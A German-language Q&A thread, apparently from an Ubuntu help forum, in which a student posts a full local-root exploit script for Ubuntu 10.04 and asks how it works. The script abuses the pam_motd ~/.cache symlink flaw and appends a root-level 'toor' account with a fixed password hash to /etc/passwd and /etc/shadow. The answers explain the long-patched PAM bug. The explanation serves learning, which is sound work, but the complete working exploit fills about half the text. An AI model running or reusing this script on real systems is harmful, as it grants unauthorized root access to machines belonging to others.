Wie hat dieser Exploit den Schreibzugriff auf Root-Dateien ermöglicht?

7

Für einen Computer-Sicherheitsauftrag an meiner Universität muss ich einen Exploit finden und verstehen, der unter Ubuntu 10.04 funktioniert. Ich habe bereits einen auf einem Ubuntu 10.04-Computer gefunden und getestet (den ich besitze).

Dies ist der Exploit, der als normaler Benutzer ausgeführt wird und Ihnen Root-Zugriff gewährt. Entnommen der Offensive Security-Website.

P='toor:x:0:0:root:/root:/bin/bash'
S='toor:$6$tPuRrLW7$m0BvNoYS9FEF9/Lzv6PQospujOKt0giv.7JNGrCbWC1XdhmlbnTWLKyzHz.VZwCcEcYQU5q2DLX.cI7NQtsNz1:14798:0:99999:7:::'
echo "[*] Ubuntu PAM MOTD local root"
[ -z "$(which ssh)" ] && echo "[-] ssh is a requirement" && exit 1
[ -z "$(which ssh-keygen)" ] && echo "[-] ssh-keygen is a requirement" && exit 1
[ -z "$(ps -u root |grep sshd)" ] && echo "[-] a running sshd is a requirement" && exit 1
backup() {
    [ -e "$1" ] && [ -e "$1".bak ] && rm -rf "$1".bak
    [ -e "$1" ] || return 0
    mv "$1"{,.bak} || return 1
    echo "[*] Backuped $1"
}
restore() {
    [ -e "$1" ] && rm -rf "$1"
    [ -e "$1".bak ] || return 0
    mv "$1"{.bak,} || return 1
    echo "[*] Restored $1"
}
key_create() {
    backup ~/.ssh/authorized_keys
    ssh-keygen -q -t rsa -N '' -C 'pam' -f "$KEY" || return 1
    [ ! -d ~/.ssh ] && { mkdir ~/.ssh || return 1; }
    mv "$KEY.pub" ~/.ssh/authorized_keys || return 1
    echo "[*] SSH key set up"
}
key_remove() {
    rm -f "$KEY"
    restore ~/.ssh/authorized_keys
    echo "[*] SSH key removed"
}
own() {
    [ -e ~/.cache ] && rm -rf ~/.cache
    ln -s "$1" ~/.cache || return 1
    echo "[*] spawn ssh"
    ssh -o 'NoHostAuthenticationForLocalhost yes' -i "$KEY" localhost true
    [ -w "$1" ] || { echo "[-] Own $1 failed"; restore ~/.cache; bye; }
    echo "[+] owned: $1"
}
bye() {
    key_remove
    exit 1
}
KEY="$(mktemp -u)"
key_create || { echo "[-] Failed to setup SSH key"; exit 1; }
backup ~/.cache || { echo "[-] Failed to backup ~/.cache"; bye; }
own /etc/passwd && echo "$P" >> /etc/passwd
own /etc/shadow && echo "$S" >> /etc/shadow
restore ~/.cache || { echo "[-] Failed to restore ~/.cache"; bye; }
key_remove
echo "[+] Success! Use password toor to get root"
su -c "sed -i '/toor:/d' /etc/{passwd,shadow}; chown root: /etc/{passwd,shadow}; \
  chgrp shadow /etc/shadow; nscd -i passwd >/dev/null 2>&1; bash" toor

Ich verstehe, warum es Dateien sichert und dass es einen Schlüssel für die sshspätere Verwendung generiert und dass es eine weiche Verknüpfung zwischen der Cache-Datei herstellt, bei der der Benutzer, der das Skript ausführt, Lese- und Schreibrechte hat, und der Datei, die Sie wollen das Eigentum übernehmen.

Das, was ich nicht verstehe, ist, warum das echo "$P" >> /etc/passwdund echo "$S" >> /etc/shadowfür diese Dateien anstelle des Datei-Cache gemacht wird? War das nicht der Zweck der weichen Verknüpfung zwischen diesen Dateien und der Cache-Datei, um sie schreiben zu können?

Wie kann $USERman an diesem Punkt im Skript die Erlaubnis haben, sowohl auf den Schatten als auch auf den Passwd zu schreiben? Die Antwort hat eindeutig mit dem an localhost erstellten SSH zu tun, aber warum gewährt dieses SSH diese Berechtigungen?

Danach bekomme ich, was passiert, sobald beide Dateien geändert wurden, hat der Benutzer toor Root-Berechtigungen und wird mit dem Befehl su aufgerufen. Mein Hauptproblem ist das Verständnis, mit dem ssh -o 'NoHostAuthenticationForLocalhost yes' -i "$KEY" localhost trueSie Schreibberechtigungen sowohl für den Schatten als auch für den Pass erhalten können.

user282724
quelle

Antworten:

11

Dies war ein Fehler in pam_motd , der längst behoben wurde:

Mit pam_motd (auch bekannt als MOTD-Modul) in libpam-Modulen vor 1.1.0-2ubuntu1.1 in PAM unter Ubuntu 9.10 und libpam-Modulen vor 1.1.1-2ubuntu5 in PAM unter Ubuntu 10.04 LTS können lokale Benutzer den Besitz beliebiger Dateien ändern über einen Symlink-Angriff auf .cache im Home-Verzeichnis eines Benutzers, bezogen auf "Benutzerdateistempel" und die Datei motd.legal-Notice.

Dies bedeutet im Grunde, dass PAM (das Authentifizierungsmodul, das als Root ausgeführt wird) versucht, sich bei der Anmeldung mit SSH anzumelden chown $USER: ~/.cache. Es sah nicht danach aus, was das war, also wurde der Eigentümerwechsel auf die verknüpfte Datei übertragen.

Auf diese Weise konnten Sie die Systemdateien besitzen und anschließend bearbeiten und Zugriff auf Root-Ebene erhalten.

Während mit ihnen verbunden .cachewar, hätten /etc/{passwd,shadow}sie sich wiederholen können .cache... Aber warum sich die Mühe machen? Zu diesem Zeitpunkt wurde der Dateibesitz dieser Dateien geändert $USER. Sie waren frei editierbar.

Nur als Antwort auf Ihre Kommentare:

  • Es gibt Ihnen keine Erlaubnis, es (oder ich sollte sagen, sein PAM-Modul) ist das, was den Besitz ändert. Aber ja, PAM tat, was es tat, war das Problem.

  • Der Symlink zu ~/.cacheist nur eine Weiterleitung für den Exploit. Ist erforderlich, damit bei der Anmeldung PAM (als root ausgeführt) versucht, chowndie verknüpfte Datei. Das ist der Exploit dort.

  • Es war ein Versehen und wurde behoben, indem Berechtigungen gelöscht wurden, bevor ein Code eingegeben wurde.

Oli
quelle
1
Ein weiterer Grund, Ihre Ubuntu-Installation immer auf dem neuesten Stand zu halten!
Seth
Der einzige Grund, warum dieser Angriff möglich ist, ist, dass Sie mit ssh die Berechtigung zum Ändern des Eigentums an Dateien erhalten. War dies von den Ubuntu-Designern beabsichtigt, bis sie erkannten, dass es für böswillige Zwecke verwendet werden kann? Oder war es nur ein direkter Fehler, der niemals hätte auftreten dürfen? .. Warum ist der symbolische Link auch notwendig, wenn Sie nicht in die ~ / .cache-Datei schreiben wollen?
user282724
3
@ user282724 Es wird als Symlink-Angriff bezeichnet und ist sehr alt und dennoch sehr verbreitet . Dieser besondere Fehler stammt nicht von "Ubuntu-Designern" oder den Autoren von ssh, sondern von den Autoren von pam_motd. Symlink-Angriffe sind das Ergebnis von Codierungsfehlern und nicht von missbrauchten Funktionen.
Bain
Ist das wirklich der Unterschied, zu dem Sie verlinken wollten? Es scheint, dass die einzige Codeänderung darin besteht, einen regulären Ausdruck in pam-auth-update zu korrigieren.
Ilmari Karonen
1
@AquariusPower Auf einem Desktop? Klingt so, als bräuchten Sie wirklich eine USV.
Seth